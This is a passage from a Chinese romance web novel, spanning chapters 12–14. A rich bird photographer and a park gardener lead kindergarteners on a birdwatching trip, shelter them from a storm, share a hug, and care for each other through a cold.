不好的印象?他这是多怕我不跟他玩了。
游临归这会儿是真憋不住了,噗嗤笑出声来:“我可没说你给我留下不好的印象,你不要自己给自己加标签。何况有点小缺点是人之常情吧?我跟你做朋友是因为你的优点,又不会放大看你的缺点,别担心。”
“真的吗?!”魏丰羽脸上终于带了点光彩。
“真的呀,”游临归摩挲着下巴,露出探究的神色,“换句话说,如果相处下来我发觉你是个完美接近无暇的人,我倒是会想想你是不是对我有所企图。”
呃。
魏丰羽脸上刚亮笑呢,瞬间破碎,尴尬地咽了咽口水。
好扎心的话。他既不完美无瑕,也有所企图。
“我...”
魏丰羽还想说点什么话辩驳,一阵手机振动响起。
“嘟嘟——”
游临归拿起手机示意他嘘声,“喂,李哥。嗯,诶,好,嗯嗯,我马上下来。”
电话被挂断,游临归抬头看他:“你继续说。”
魏丰羽说不出来,泄气地坐回椅子上。
“我忘了。”
时间过得好快啊,游哥又要走了。
不想他走。
游临归抿抿唇,将袋子挂到肩上,抱起保温箱:“那我走咯。”
我真的走咯?
他转身准备抬脚。
“等下!”魏丰羽喊出游临归。
游临归低头抿唇偷笑,立马收回整理好表情,侧头露出疑惑:“怎么了?”
“我帮你拿。”
魏丰羽站起身,夺过他手中的保温箱,抢先一步用身子推开玻璃门,示意他跟上。
游临归跟在他身后,忍俊不禁。
跟逗狗一样好玩。
二人是坐着专用电梯下去的,故而路上并没有遇到什么人。
面包车早已停在楼下门口侧边。
魏丰羽将保温箱放到后备箱,顺手接过游临归装着工具的帆布袋,放在保温箱的上面。
李欧正巧下车目睹这一幕。
“临归,你怎么让老板帮你噻?”李欧立马站过去,把游临归拉到一边,脸上挂着歉意的笑,“抱歉抱歉老板,他是新来的孩子,不太懂礼仪。”
“李叔,这是我朋友。”游临归解释道。
“朋友?”李欧站直了身体,又看了一眼西装革履的贵公子,“你啥子时候有个这样的朋友嘞?”
他小小声凑到游临归耳旁:“刚交的?”
听到全过程的魏丰羽:“.....”
倒不是李欧话多,而是游临归实在是性子内敛,几乎不主动社交,除了出差之外,能长时间待在一个区域里不移动。平日里也只是跟附近的阿婆阿叔打交道,很少又见到有同龄的好友。
“怎么可能呀叔,”游临归说,“认识有一段时间了。”
“这样啊...”李欧若有所思,朝魏丰羽点了点头,“那谢谢你啊小伙子。”
魏丰羽淡淡一笑,双手插兜:“没事,我先上去了。”
“你还要上班上多久?”游临归突然叫住他。
魏丰羽脚步一顿,身体紧绷。
游哥这是什么意思?在询问我的行程?!
游哥心里开始有我了?!
“两周吧,”魏丰羽故作镇定,“具体得等我姐
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回来。”
游临归若有所思点点头:“两周啊,那我们还能再见一次面。”
什么意思?
魏丰羽‘啊’了一声。
“你姐没和你说吗?这会议室的花每周一换,常换常新。”游临归眨了个Wink,上了车,抛出橄榄枝,“拜拜,记得微信找我聊天。”
面包车缓缓驶离,只留下呆滞的魏丰羽。
他站在原地缓了很久,脑海里都是刚刚游临归狡黠带点魅惑的表情。
久久,他突然蹲在原地,喘着粗气,异常兴奋。
面包车内,游临归也在回味刚刚的情景。
他经常这样逗弄那只在德国生活的哈士奇,因为它总是张着嘴、伸着舌头喘气,黑溜溜的眼睛望着他像是在望着一块香喷喷的狗骨头。
嗯...虽然把自己比作狗骨头有点奇怪,但没有比这个更好的比喻了。
到底还是游风岱带出来的孩子,还是有点调皮捣蛋的因子在骨子里的。
“会不会逗得太过分了?”游临归喃喃自语,魏丰羽眼巴巴地看着他的时候真的和那只许久未见的哈士奇莫名重合。
“什么?”李欧在前边开车,以为游临归跟他搭话,没听清楚,“临归啊,你说啥子?”
“没说什么,我在看手机呢。”
“噢噢,”李欧点点头,在红绿灯处刹住车,“临归啊,今天辛苦你了,你那朋友看起来挺关心你的嘛。”
“叔,你都说他是我朋友了,能不关心我嘛。”
“你知道叔不是单纯关心的意思嘞。你放心,叔不歧视同/性/恋的,看你两个爹,我们都没插过嘴嘚,还经常一起出来聚餐。”
游临归没懂,问道:“叔,你到底想说什么呀,我没明白。”
李欧朝后视镜睇了眼游临归,见他果真懵懵懂懂,无奈叹了口气。
怎么连风岱迟钝的性子也学了去?
“叔的意思是,你那朋友好像对你有点意思啊。”
游临归眉头蹙得更紧了。
什么意思啊?
魏丰羽回到办公室依旧没缓过神来,百无聊赖地看着桌面上乱七八糟摆放的文件,没了心思。
游临归那个话什么意思,那个表情什么意思。
怎么能对他露出那种表情。
不知道他作为一个血气方刚的年轻人承受不住吗!
“热死了,这空调怎么没用啊!”他烦闷地脱下西装外套,将衬衫袖子撸上去,胳膊肘撑着桌。
他久违地点开粉丝群,将自己的困惑又分享到群里。
虽然早就知道他的粉丝不会给什么好意见,但总归需要一个发泄的地方。
【观鸟人间体:@全体成员我现在很烦。】
【烦什么啊羽哥,你还记得你已经快一周没更新了吗!】
【羽哥你不更新观鸟视频就算了,怎么能金融知识科普系列都不更新了。】
【观鸟人间体:被家里人安排上班了,没时间。】
【观鸟人间体:追求对象给我抛媚眼是什么意思?】
【啊?】
【一脸懵比.jpg】
【是你那个一见钟情的美人吗?】
【观鸟人间体:是。】
【那他也喜欢你呗,多简单,多大点事。】
魏丰羽看到那条消息一愣,游哥也喜欢我?!
真的吗!
他欣喜若狂,转念又想到魏丰锐那个‘追人如种树理论’,顿时又觉得不太可能。
而且根据相处下来,还有得到的资料,游临归确实是个很慢热的性格。
“他要现在真喜欢我,让我被小鸟送''洗手液''我都愿意啊。”魏丰羽闷闷地自言自语。
12. 第 12 章
又忙活了好几天,魏丰琳终于出差回来,魏丰羽也结束了被小且密的宋体文字霸凌的日子。
他往D站发了个动态,挂上这几天恢复更新。
魏丰羽装好游临归推荐购买的另一些摄影能用上的小配件,美滋滋地拉上包的拉链。
虽说上班看文件开会确实痛苦,但自从那天过去,他和游临归的关系好像更近了一点。
比如游临归主动发消息频率也高了,还时不时会和他聊点家长里短。
甚至连他的一些小抱怨都能给出一小段安慰来。
他这几天工作也算痛并快乐着。
“游哥,你明天大概在哪个区域值班呀?”魏丰羽拿着电话乐呵呵地问。
那头的游临归犹豫了一会儿,说:“明天我被排到去另一个公园接班了。”
魏丰羽心里一紧。
“哪,哪个公园啊?是出区还是没出区,近吗?”
游临归笑了下:“没出区,还在区里,挺近的,不然你猜猜?”
“我猜猜?那是离你那近还是离我这近?”
魏丰羽说的地方是他家,他家也是富人区,只不过是在市中心,最近的公园开小车过去都要三十分钟。
游临归以为他说的是魏丰琳的投行公司,打趣道:“你觉得呢?”
听到游临归轻而长的尾调,魏丰羽感觉耳朵麻麻的,像是突然被电流滋了一下。
“不,不知道。”他结结巴巴,“到底哪个?”
游临归:“月湖公园。那有个小地方叫鹭岛,还设观鸟茶座和观鸟台,特别适合你。”
魏丰羽也听说过那个地方,不过离他市中心很远,比去万林湿地公园还要远,他心心念念但一直没什么时间去。
不过听游临归这话...
他是在邀请我?
魏丰羽抓住重点。
“游哥,你是想说让我和你一起去吗?”他按耐住心里的激动,问。
“是呀。”
主要是蹭个顺风车,游临归没好意思说出来,但感觉就算说出来魏丰羽也好像不会拒绝,反而会更加热情。
李叔那天返程路上跟他说的话,还是有点让他动摇的。
游临归确实对感情有点迟钝,但魏丰羽的那些小动作并非无法捕捉。
只不过他以为是简单的害羞和不适应。
如果真是喜欢自己,那些被他强行冠以‘害羞、不适应’的行为,好像就有点过于冠冕堂皇了。
“你能带我一起去吗?那儿还挺远的,对吧。”
魏丰羽毫不犹豫:“可以!”
一百万个可以!
这是游哥第一次有求于我!
魏丰羽恨不得现在就把这个好消息甩到粉丝群,让那些嘲笑自己是‘舔/狗’的粉丝看看!
他哪是什么舔/狗,这明明是双向奔赴!
游临归:“那我明天去你姐公司找你?”
“公司?”魏丰羽一愣,“为什么要来公司找我?”
“不然我去哪里找你?”游临归笑了。
难道这是游哥给我的试探,让我主动提出去万林别墅接他?
是,是这样吗?
绝对是这样!
“游哥,你不用来,我去接你。”
“嗯?可是一来一回这样还挺费时间的。还是我去魏氏公司楼下,你在那等我,这样比较好。”
魏氏投行虽然离万林湿地公园远,但是离月湖公园近。这也是为什么游临归向魏丰羽提起这个难为情的请求。
“可是...”
“没关系的啦,知道你很想接我,但是为了节省时间和油,还是按照我说的做吧,可以吗?”
“可,可以。”
电话挂断,魏丰羽摸了摸脸,有点烫。
次日,天还蒙蒙亮,游临归开着小电动车,抵达魏氏投行。
每次来,游临归都得被这高耸入云的摩天大楼震惊一下。
“游哥,这!”魏丰羽小跑过来,伸出手,“东西我给你拿着吧,车停在老地方就行。”
“好。”
游临归解开戴着的小黄鸭头盔,放在车灯上,从车头里拿出一个黑色的小包。
魏丰羽左看右看,发出疑问:“就一个小包?”
没有那些工具?那他还特意开了他们家那辆后尾箱最大的小车呢。
游临归知道他说的什么,解释:“那些东西那边公园有,何况我这次是临危受命,不是去做园艺工作的。”
点到即止,游临归没有继续说下去。
“好吧。”
魏丰羽好奇心被勾得死死的。
昨天游哥让他不要带‘重型武器’,而是换成轻便的‘小型便携式手枪’,不要开那辆惹眼的法拉利,而是开一个低调点的商务车。
哦对,还让他穿的简单青春点,不要带太多饰品。
但只说怎么做,却不告诉他为什么,真的很吊胃口。
搞得魏丰羽凌晨三点辗转反侧,吃了点褪黑素才勉强睡觉。
果真如魏丰羽所说,他开车真的舒服。
速度把握得恰到好处,不会突然加速,也不会突然放缓,就是稳稳地保持在一定的码率驰行。即便遇到减速带,也不会带来特别明显的颠簸感。
游临归有些困倦地打了个哈欠。
想睡觉。
魏丰羽朝旁边看了一眼,打开手刹饰板,拿出一瓶便携装铝罐咖啡,递给坐在副驾驶的游临归。
“游哥,快到了,要是困的话可以喝点咖啡。”
游临归迷糊糊接过,被冰得缩了下手,困意顿时减了几分。
啊...还是冰的。
“早上...喝冰的不好。”他懵懵地说,把铝罐贴在脸颊上,“我不喝,你也别喝了,别仗着年纪小使劲造。”
“啊,嗯。”魏丰羽握方向盘的手一紧。
好可爱,好可爱,好可爱!!
游临归困得头一点一点的,和他之前在学校里拍到的那只站在树枝上困得一头扎空,摔下来扑棱翅膀的傻咕咕一模一样。
魏丰羽愤恨此刻他在开车,不能把这一幕拍下来。
又过了几分钟,车缓缓停下,游临归靠在车窗上的头迷瞪瞪地抬起来,睡眼惺忪。
“到,到了?”
“到了。”
月湖公园有专门的停车位,游临归提前下了车,戴好工牌,走进园区内。
迎面是‘月湖公园’大大的标志牌文字立在弧形顶上,建筑是很
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常见的中式公园风格,颜色多为红棕为主,还挂着几个小红灯笼。
右侧是一个巨大的公告栏,上面摊着一张‘淮城月湖公园导游图’。
游临归拍了照片,在原地了解学习了一会儿。
距离上一次来月湖公园已经是一年前的事情了,不知道这里有没有某些小地方变了模样。
“游哥,现在你能告诉我被调来这里干什么吗?”魏丰羽停完车小跑过来,手里还拿着一台徕卡Q3,斜跨背着一台拍立得,令人膛目的骚红色。
诶,魏丰羽是这个牌子的爱好者吗?
这个相机牌子游临归不是很喜欢,又贵又难用。
特别是这个红色的徕卡SOFORT拍立得相机,被他父亲戏称是‘智商鉴定机’,买它的人一定人傻钱多。
游临归也是这么想的,没想到他身边真有这么个人。
“今天有一队幼儿园毕业的孩子们出来旅行,这边的管理员知道我不仅对树木很有了解,对鸟也很了解,所以派我过来接待。”
幼儿园毕业?
小孩?
带孩子?
“我,我吗?”魏丰羽指了指自己。
他只带过弟弟,不过他弟弟是个大孩子了,已经上初一,暑假过完就初二。
“你?不是你呀,是我。”游临归笑着解释,“你站在后方和女老师维持秩序就好了,这个年级段的小孩子会比较调皮,我怕控不住场。”
“怪不得你让我穿的简单点青春点。”
魏丰羽了然,他今天穿了大学时期最爱的风格,简单的白T配上浅蓝色衬衫,再配一条灰色运动裤,确实削弱了点五官上的凛冽感。
“嗯哼,很不错哦。感觉和我今天穿的挺搭。”游临归轻笑,他今天也是穿的白T配一件衬衫外搭,只不过是纯卡其色的。
“到时候你就跟着大队伍,起点是右边入口的‘东浦洲’,可以看到班头鸺鹠和乌鸫,这儿的鸟都不算特别调皮,不会出现飞来飞去对不上焦的情况。”
游临归指着地图上的路线:“沿着这个路线一直走,路上还会有各种翠鸟,到对面这个河中央,就是鹭岛,对面就是我刚刚和你说的观鸟台,特别适合观鸟。”
他突然停了下来,头凑近出神的魏丰羽:“你在听吗?怎么又发呆?”
“在,在听。”魏丰羽耳朵微微染红,他还在消化游临归刚刚说的‘和我穿得挺搭’这句话。
这是什么意思,这到底是什么意思?
反正关羽不对张飞说说这样的话,游哥心里肯定有我。
“在听就好。”游临归习以为常,“整个路线我预计加上讲解和休息大概是两个小时,不算特别的长。”
月湖公园本身也不算大,加上剔除了一些不适合一群小朋友经过的地方,拼拼凑凑也就这么点路程。
“哦,嗯。”
魏丰羽回应道,余光瞄到有一个女老师手里拿着小红旗,身后跟着二十多位穿着绿色校服的小豆丁们,指了指:“游哥,是那群小朋友吗?”
游临归立马望去,点头,拍了拍他的肩膀,从小包里拿出一个空白的工牌,递给他:“没错没错,这个工牌你也带着。”
语毕,游临归面带笑容走向那群孩子们。
13. 第 13 章
为首的老师见到游临归,手上摇晃的旗帜停顿了一下,试探性的问道:“你好,你就是...?”
“是我。”游临归对她笑了一下,伸出手,“我就是被派来接待本次活动的导游,你可以叫我小游。”
“啊你好你好,我姓方。”
那位老师显然没有发觉官方派来的导游是一位年轻温润还有点潮流的男子,没反应过来,眼睛时不时偷瞄一下。
作出同样行为的,还有跟在身后的一群‘小豆丁’。他们好奇地探出头来,观察面前这位头上顶了粉棉花糖的大哥哥,胆子大点的,已经拉着小伙伴的手开始窃窃私语。
“方老师,还有一位是我今天的帮手,”游临归指了指排在队伍后面的魏丰羽,“他对鸟类和生态也很了解,今天会和我一起带孩子们参观。”
方老师顺着他的手势望去,只见魏丰羽正单手拎着相机,另一只手假装自然地冲她挥手,,红色拍立得在侧腰晃出一道亮色。
看起来不太靠谱,方老师擦了擦汗。
“那就麻烦你了,游老师。”
“没事,”游临归慈爱地看了看到他胯骨的小朋友们,微微蹲下身,“小朋友们,我是今天的导游,可以叫我小游哥哥,跟队伍后面的是魏哥哥。今天就由我们,带着大家一起探险!”
魏丰羽挺直了背,扯出一个自认为最和善但略带僵硬的笑容:“小朋友们好。”
“哇!小游哥哥的头发是粉色的!”一个带着小银色皇冠头饰的小女孩第一个喊出来。
“像棉花糖!”旁边被她牵着手小男孩立刻附和,还舔了舔嘴唇。
孩子们叽叽喳喳的议论瞬间冲散了方老师那点小小的疑虑,气氛一下子活跃起来。
游临归笑着点点头:“对呀,像不像甜甜的棉花糖?不过可不能吃哦。好了,小探险家们!我们现在要出发啦!记得要排好队,跟紧小游哥哥和魏哥哥,还要保持安静,这样才不会吓跑森林里的小精灵和小鸟朋友,好不好?”
“好——!”孩子们异同口声,奶声奶气地回答。
“真棒!”游临归赞许,站起身,对方老师点点头,“方老师,那我们就出发了?路线是先往东浦洲前进,然后沿小路去鹭岛,最后在休息区稍作休整,你看如何?”
“可以可以,听你安排。”方老师连忙应道。
游临归走在队伍最前面,魏丰羽则走在队伍侧面靠后的位置。
他高大的身影和略显冷峻的侧脸,在小朋友的队伍里显得格格不入,但莫名让孩子们觉得很有安全感。
这个板着脸的大哥哥看起来能一拳打三个‘怪兽’!
实际上,魏丰羽又在放空思绪,回忆着游临归那句‘魏哥哥’。
柔柔的,尾调还带着钩子。
他的脑海不由自主勾勒出一副场景。忙碌了一天下班推开门,暖黄的灯光,游临归蜷缩在宽大的沙发里,盖着一张毛茸茸的毯子,睡眼惺忪,带着沙哑的如软糯,喊他...
“魏老师,你还好吗?”同样和魏丰羽并行的另一位老师好心叫醒他。
这声音很轻,魏丰羽没听到,直到一棵挺拔的杉树杆出现在视野前,他才顿住脚步,如梦初醒。
“噗嗤。”
在后排一直观察魏丰羽的两个小豆丁不留情面地笑出来。
“你们俩个,笑话哥哥是不对的哦。”那位女老师教导道。
魏丰羽睇了她一眼,心里腹诽。
这位老师,你明明也在笑。
魏丰羽:“没事,我这是在用实际行动告诉你们,走路时要专心。”
他故作镇定地拉了拉外套,轻轻推了推还在笑的小朋友,指了指草地里窸窸窣窣的动静:“嘘,别笑,看那有一只黑乎乎的小鸟。”
孩子们立刻屏住呼吸,小脸都绷紧了,好奇地东张西望。
“在哪里?”
魏丰羽指了指:“那里。”
“在地上!我看到了!”
一只通体黑色蓬松的乌鸫,正在满是落叶的草地上蹦跳,用它漆黄喙,低着脑袋在叶间寻找食物。
‘啾’地一下,乌鸫‘眼疾嘴快’,一把叼住那正在蠕动挣扎的蚯蚓,一下一下,肥美的蚯蚓成为了可怜的盘中餐。
小朋友们惊呼。
“它好小!羽毛好漂亮。”
“蹦蹦跳跳像个煤炭球!好可爱呀!”
“那个蚯蚓好可怜!”
游临归在前方刚讲解完树木的类型,注意到后方小小的躁动,走过去探了探,笑着问道:“你们知道这是什么小鸟吗?”
“看起来像乌鸦!”
“不知道,但是它好黑哦。”
“这只小鸟不是乌鸦哦,它的名字叫乌鸫,”游临归解释道,“可以通过观察它们的外型和习性来区别。”
游临归让孩子往后站一站,自己则是小心地靠近木质篱笆:“乌鸫的喙,就是它的嘴巴,通常是橙黄色或者是鲜黄色,而乌鸦的嘴巴则是黑色。大家看,这只乌鸫体型是不是很小?”
孩子们纷纷点头。
游临归:“乌鸦的体型可是要比乌鸫的体型大上好几倍呢,并且,在我们这个地方,乌鸦可是稀少的。”
孩子们似懂非懂,靠近魏丰羽的小男孩伸出小手拉了拉他的衣衫,傻傻地问:“魏哥哥,游老师说的是真的吗?”
魏丰羽低头看那个咬着手指,黑玛瑙一样明亮眼珠子望着他的小男孩,不好意思地移开脸。
小豆丁,哥哥也不太知道。
这时乌鸫突然扑扇着黑亮的翅膀,似乎是不习惯可爱的孩子们注视它,低着头,飞到了另一边。
“它飞走了!”
“啊,他飞的时候像一架黑色的飞机!”
“是的,你们太热情啦,小鸟害羞了。”游临归拍拍手整队,“好了,我们继续往前走吧,前面还有很多新奇的小鸟,想看吗?”
“想!”
……
天有不测风云,这场愉快的旅途被突如其来的雷电打散。
未给众人反应的时间,暴雨席卷湿润的风斜斜地打来。
孩子们惊慌着,恐叫着。
“雨好大!”
“我的新裙子...呜呜呜...”
“妈妈说淋雨会感冒的...我不想感冒...”
“好大的雨!”
“我带了伞!牵我的手!”
“那边有个亭台,带着孩子们过去!”
游临归的视线被雨点模糊,顾不得自己,脱下外套扔给方老师,一把抱起两个豆丁小跑到亭台。
魏丰羽也立马脱下外套,将衬衫遮挡在两三个孩子的头顶,冒着雨,左右手托起两个豆丁,安顿好放在长板石凳。
有几个小朋友打开背包侧格的小红伞,在老师带领下一步步挪到亭台。
等所有人都挤进亭子,雨已经势不可挡。雨水顺着屋檐形成一道道水帘,将外面的世界隔绝开来。
亭子虽然宽敞,但二十多个孩子加上大人,还是显得拥挤不堪。
“好大的雨,小鸟...”
“我讨厌下雨!呜呜...”
方老师和另一位女老师手忙脚乱地给淋湿的孩子擦头发、换备用衣物,根本顾不过来。
游临归正在一旁打电话联系工作人员送物资,眉头紧锁。
化不开的乌云,不知何时会停的雨,此起彼伏的啜泣声。
魏丰羽讨厌这种灾难。
他摇晃相机,笑着问道:“小朋友们,想不想看看相机里的小鸟?”
哭声戛然而止,孩子们立刻被吸引注意力,湿漉漉的小脸还挂着泪珠,好奇地凑过来。
“看!”
“魏哥哥拍到了什么鸟?”
“想看绿绿的小鸟!”
魏丰羽蹲下身,调出相机里的照片。
映入眼帘的不是鸟,而是一个被奶油糊脸的小男孩,悲伤地看着左手的惨不忍睹的蛋糕。
“诶呀,我调错了!你们不许看!”
魏丰羽手忙脚乱地按着相机按钮,却像是越着急越出错似的,接连翻出了更多童年糗照——穿着开裆裤摔进泥坑的、被野猫追着满别墅跑的、学自行车卡在树杈上的...
“噗哈哈哈!”戴皇冠的小女孩第一个笑出声,小手捂着嘴巴,眼睛弯成了月牙。
“魏哥哥好笨哦!”
“比我还爱哭鼻子!”
“那张卡在树上的好好笑!”
孩子们的笑声像一串串风铃,在雨中的亭子里清脆地回荡。
魏丰羽假装懊恼地抓了抓头发,却悄悄松了口气。
总算把孩子们的注意力从大雨上转移开了。
“你小时候这么可爱呀。”游临归不知什么时候也凑了过来,手撑在膝盖,半俯下身看屏幕的照片。
“是,是吗?”魏丰羽羞赧,快速调出下一张照片,是刚刚路上抓拍的长尾缝叶莺。
“这个拍的很好,小鸟啄虫的姿态都拍出来了,背景的虚化更是
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锦上添花。”游临归夸赞道,“这个发在你的粉丝群里,肯定大受褒奖。”
“是吧?随手一拍。”魏丰羽谦虚道。
“哇!好瘦的小鸟,绿绿的!”孩子们脑袋凑得更近了。
“很多小鸟只是羽毛看起来蓬松,实际上体重只有几十克。”魏丰羽声音柔和下来,“天气热的时候羽毛缩起来,等到了冬天,小鸟们的羽毛蓬起来会更加的可爱。不过,不管是瘦的还是胖的小鸟都非常可爱。”
“哇,小鸟羽毛好神奇啊!像魔法一样!”
一个小女孩好奇地问:“魏哥哥,你为什么那么喜欢小鸟呀?”
为什么?
“喜欢哪有那么多为什么?”魏丰羽说,余光不自觉瞄到坐在长石板凳给小朋友擦发的游临归,“喜欢就喜欢了。”
“唔…”小女孩歪着头,像是在思考一个世界未解之谜。
“伞来了!”
几个穿着透明雨衣的工作人员,拎着装满折叠伞的红色水桶走来。
游临归立马站起身,接过红色胶桶问道:“有没有带暖宝宝?”
一个工作人员从衣服里掏出来:“带了,不过只有十几个,不太够给所有的孩子。”
“没事。”
游临归将暖宝宝撕开,搓热,给几个淋雨比较严重的孩子贴到手心上,告诫:“捂一下,烫手了就撕掉,知道吗?”
孩子们纷纷点头。
“小羽,你要不要?”游临归见魏丰羽头发还在淌水,问道。
魏丰羽摇摇头:“不用,我不冷。游哥,你给自己用吧。”
“我也还好。”
游临归忽略脚底传来的凉意,把最后一个暖宝宝给了方老师。
魏丰羽看到了,没说一句话。
雨势渐渐转小,方老师放下电话说:“大巴到了,可以返程了。”
游临归点点头,向孩子们宣布:“收拾好东西,背上小书包,两个一组,打开伞,我们要回起点咯!”
魏丰羽也站起身,拧了拧湿透的裤脚,问:“游哥,要不要在这里给孩子们拍一张合照再走?”
不错的提议,游临归点点头,和两位带队老师说了一声。
“来,小朋友们,站在我身边,拍张大合照再走!”游临归拍拍手,招呼孩子们在亭子里排好队。
魏丰羽调整相机参数,让工作人员拿稳,快步跑到队伍,在最后一秒挤进了画面边缘。
“三!”
“二!”
“一——茄子!”
快门声响,定格这一瞬间。
回到起点,大巴车早已等候多时。
“小游哥哥再见!”
“魏哥哥下次还要给我们看照片!”
“我会想你们的!”
孩子们依依不舍地道别,几个小女孩甚至红了眼眶。
游临归蹲下身,一个个跟孩子们击掌:“下次再来玩?我教你们认识更多的树木和小鸟好不好?”
魏丰羽则是站在车门口,确保每一个孩子都安全上车。
一个小男孩上车前停了下来,故作正经:“魏哥哥,记得要认真走路!小心撞树!”
魏丰羽勾起唇角,揉了揉他的头发:“用你说,小鬼头!”
游临归走到方老师身边,叮嘱道:“今天孩子们淋了雨,回去记得让家长给他们立刻洗热水澡,可以的话泡点夏桑菊或者感冒灵预防一下。”
方老师连连点头:“真是太感谢你们了!今天要不是有你们在,这场雨肯定会让孩子们很扫兴。”
“这是我们应该做的。”游临归微笑着目送大巴缓缓驶离,孩子们的小手还在车窗上不停挥舞。
直到车尾灯消失在拐角,他才长舒一口气,转身看向魏丰羽:“今天辛苦你了。”
魏丰羽摇摇头:“我也很高兴。”
若不是答应了游临归这一趟,他些许还在家里躺着耍手机消磨时间。
小鸟很可爱,小朋友也很可爱,给小朋友们讲解的游哥更可爱。
这一遭,一点也不辛苦!
游临归眨了眨眼,笑了一声,突然上前,张开双臂轻轻抱住了他。
好闻的橙花香扑鼻而来,措不及防。
魏丰羽整个人僵在原地,连呼吸都停滞了一瞬。
“今天真的谢谢你。”
游临归温热的吐息撩过他的耳廓。
魏丰羽瞬间红成炸锅里的虾仁。
游,游哥,他他他他给了我一个拥抱!?
14. 第 14 章
拥抱来得措不及防,魏丰羽能清晰感受到游临归身上传来的温度,还有那股淡淡的橙花香,雨水的湿气却衬得更加扑鼻。
魏丰羽怔愣,心跳快得发烫,呆呆地说:“游哥你...”
“嗯?”游临归笑了,但没松开环保他的手,热气打在魏丰羽的脖颈,衣襟贴在皮肤上却凉丝丝的。
他说:“其实我也挺不好意思的,第一次让朋友又是照顾孩子又是被淋雨。”
魏丰羽还在‘冰火两重天’中体会愉悦的折磨,却敏锐地捕捉到游临归话里的关键词。
第一次?!
“没,没事,我今天也很高兴,何况本来也是我答应事情。”魏丰羽僵硬地虚虚环住游临归,没碰到他的腰侧。
“嗯,你这样想的话真是太好了。”冰冷的凉意从二人紧贴的胸膛传来,游临归身子轻微抖了一下,松开手,往后退了几步。
这个拥抱只持续了一分钟,甚至一分钟都没有,却仿佛有一个世纪那么长。
魏丰羽仍然保持僵硬的姿势,只是红得几乎要滴血的耳尖暴露他此刻的心境。
“你怎么了?”游临归疑惑地看着他呆滞的表情,“是不是淋雨不舒服?”
总不可能是因为一个拥抱吧,游临归想,他在魏丰羽心里应该还没那么大的地位。
魏丰羽如梦初醒般别过脸:“没事!就是,就是有点冷...”
游临归点点头,不疑有他,抬头看了看天气,仍然是深沉化不开的云雾,太阳被无情地遮盖,见不到光。
唉。
游临归:“本来我还想结束后再带你好好再逛一逛拍拍小鸟的,看这天气,应该是没有办法了。”
“没关系,”魏丰羽看不得游临归露出可惜的神情,连忙又拿起相机,“其实我路上也拍了很多,已经够了!”
他小心翼翼地说:“游哥,你想和我一起看吗?”
游临归只是微笑地盯着他,盯着他,盯着他。从头到脚,把魏丰羽看得鸡皮疙瘩都起来了。
游哥这个眼神是什么意思?魏丰羽不自在地拉了拉衣服。
不看就不看嘛。
“噗嗤。”游临归莞尔一笑,“你身上湿的比我还厉害,相机倒是保护的很好,还是赶紧回去吧。看小鸟照片这件事,不急,今天晚上也可以看。”
魏丰羽眼睛一亮:“游哥!你的意思是今天晚上可以和你打微信电话吗?”
游临归点点头。
“那,那太好了!”魏丰羽极力压下无法克制的喜悦,“我,我去开车!”
说罢,便把两台相机一股脑郑重地放在游临归手心,转身百米冲刺去往停车场。
游临归抱着相机望向一溜烟人影全无的远方,心里涌起一阵莫名其妙。
他无奈摇摇头,举起红色的徕卡拍立得,来回观察,突如其来有新的想法。
——
夜的暮色倾倒天穹,电话最后还是没打成。
游临归一回到家就开始疯狂打喷嚏,身体也莫名地像灌铅一样沉重,几乎是拖着精神气往与浴缸里一坐。
温热的洗澡水扑在光洁的身体,游临归发出一声愉悦的呻/吟。
从浴室出来,他的头发还滴着水,水珠顺着发梢滑落到锁骨,又沿着胸膛滚落。
他随手抓起毛巾胡乱擦了擦,却感觉手臂异常难以提起。
一阵寒意从脊背窜上来,让他不由自主地打了个哆嗦。
“阿嚏!”
他揉了揉发痒的鼻子,心里暗叫不好。
游临归拖着脚步走向卧室,每走一步都感觉头更晕一分,勉强吹干头发,吃了感冒药,看了看手机里的时间。
19:25。
还早。
他一头栽进柔软的床褥。
“就躺五分钟...”游临归对自己说,眼皮却没再抬起来过,甚至打起小鼾。
床头柜上静静竖着一杯温热水,和空了两粒的感冒药铝排。
“嚯!”游临归猛然惊醒,刺眼的阳光从窗外射进屋内。
他揉了揉头发,看清手机显示的‘9:10AM’,整个人慌了神。
“糟了,睡过头了!”游临归一把拿过床头柜的手机,品名行显示三条未读消息和一条未接语音通话,消息来自魏丰羽,而语音通话来自魏丰锐。
一般来说,语音通话在游临归这优先级更高。但此刻他更紧张魏丰羽的消息。
“坏了,小羽会不会等我等了一晚上?”
游临归点开和魏丰羽的聊天框,其中第一条第二条消息间隔了一个小时,而第三条消息则是在零点整发送的。
【小羽毛[20:00]:游哥,拍立得也在宠爱你,拍得我好黑。/委屈 【图片】】
【小羽毛[21:05]:游哥,我听你的话好好吃药了,不过我家的感冒药不知道有没有过期。】
【小羽毛[00:00]:游哥,我睡了一觉被弟弟叫起来,不仅感冒还发烧了,对不起我食言了,等我好了再给你看小鸟。弟弟没白疼,照顾我一晚上,我要哭了。】
游临归盯着那条零点发送的消息,低声无奈骂了一句:“我才是食言了,这个笨蛋...”
他的手指在屏幕上飞快敲打。
【归临游:起床了吗?现在感觉怎么样?有没有去医院?】
那边很快弹来消息。
【小羽毛:游哥,早上好。已经起来了,弟弟很靠谱,给我喂了退烧药,甜甜的像橙汁,但是又有股药味不好喝。】
【小羽毛:医院去不得,私人医生,我们有私人医生,我哥我姐还不知道我生病了,他们也不在乎我生病。/大拇指/大拇指】
游临归:....这是烧迷糊了吧,这真的好了吗。
游临归看着魏丰羽这几条前言不搭后语的消息,无奈扶额。
【归临游:你哥你姐在家吗?现在家里只有你一个人?】
【小羽毛:弟弟在家,弟弟要去上补习班了,只有我和阿姨,阿姨马上也要走了。】
什,什么意思?游临归一头雾水,实在放心不下,只好继续问道。
【归临游:你发个位置共享,我去找你。】
【小羽毛:[位置共享]】
“市中心别墅区?”游临归喃喃自语,这地方有点远。
他立马下床随便套了件衣服裤子,从床头柜里翻出一个小盒子,放进包里,匆匆打了个车。
“谢谢。”
游临归下车,跟着导航和魏丰羽发来的图片找到魏家别墅,按响门铃。
没一会儿,门开了条缝,魏丰羽顶着鸟窝头,脸蛋红得发黑,探出身子,见是游临归,慌慌张张要关门。
游临归眼疾手快抵住门,轻声说;“你位置倒是共享的快,我真到了你还把我拒之门外。”
魏丰羽蔫蔫让开门,虚弱开口:“没,没有拒绝你,我只是现在太丑了。”
游临归哑然,这都烧成黑蛋了还这么注重外表呢。
“我又不会因为你生病的模样嫌弃你,”他走进门,从包里掏出口罩带上,伸手探了探魏丰羽的额头,“还在烧,你先躺床上吧。”
魏丰羽摇摇头,头压在游临归肩窝:“不要。”
“你身上太
